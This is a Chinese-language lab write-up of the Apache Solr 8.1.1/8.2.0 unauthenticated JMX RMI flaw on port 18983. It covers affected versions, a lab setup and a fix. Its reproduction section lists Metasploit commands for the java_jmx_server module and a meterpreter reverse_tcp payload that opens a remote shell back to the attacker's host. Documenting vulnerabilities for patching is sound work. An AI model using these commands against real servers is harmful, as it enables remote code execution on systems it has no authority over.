0x00 简介
Solr 是一个独立的企业级搜索应用服务器, 它对外提供类似于 web-service 的 API 接口. 用户可以通过 http 请求, 向搜索引擎服务器提交一定格式的 xml 文件, 生成索引; 也可以通过 Http Get 操作提出查找请求, 并得到 xml 格式的返回结果.
该漏洞源于默认配置文件 Solr.in.sh 中的 ENABLE_REMOTE_JMX_OPTS 配置选项存在安全风险.
Apache Solr 的 8.1.1 和 8.2.0 版本的自带配置文件 Solr.in.sh 中存在 ENABLE_REMOTE_JMX_OPTS="true" 选项.
如果使用受影响版本中的默认 Solr.in.sh 文件, 那么将启用 JMX 监视并将其暴露在 RMI_PORT 上 (默认值 = 18983),
并且无需进行任何身份验证. 如果防火墙中的入站流量打开了此端口, 则具有 Solr 节点网络访问权限的任何人都将能够访问 JMX,
并且可以上传恶意代码在 Solr 服务器上执行. 该漏洞不影响 Windows 系统的用户, 仅影响部分版本的 Linux 用户.
0x01 影响版本
Apache Solr8.1.1 版本上线时间: 2019-05-28
Apache Solr8.2.0 版本上线时间: 2019-07-25
0x02 漏洞危害
如果受害者使用了该默认配置, 则会在默认端口 18983 开放 JMX 服务, 且默认未开启认证. 任何可访问此端口的者可利用此漏洞向受影响服务发起, 执行任意代码.
0x03 环境搭建
Java 环境和 kali 系统, Solr 8.20
Solr 8.20 下载地址:
wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
使用 unzip Solr-8.2.0.zip 解压
解压完成后, 切换到 bin 目录启动 Solr
./Solr start -force
启动后访问: http://192.168.10.176:8983/
0x04 漏洞复现
*** 机: kali IP:192.168.10.147
受害机: Ubuntu18.6 中 docker IP:192.168.10.184:8983
1, 使用 nmap 扫描端口后发现 18983 端口开启
2, 使用 Metasploit 中的 exploit/multi/misc/java_jmx_server 模块进行漏洞复现
- ? use exploit/multi/misc/java_jmx_server
- ? set RHOST 192.168.10.184
- ? set RPORT 18983
再来设置 payload:java/meterpreter/reverse_tcp
- ? set payload java/meterpreter/reverse_tcp
- ? set LHOST 192.168.10.147
- ? set LPORT 4444
3, 使用 run 执行, 即可看到成功建立连接
0x05 修复建议
将 Solr.in.sh 配置文件中的 ENABLE_REMOTE_JMX_OPTS 选项设置为 false, 然后重启 Solr 服务.
来源: http://www.bubuko.com/infodetail-3634087.html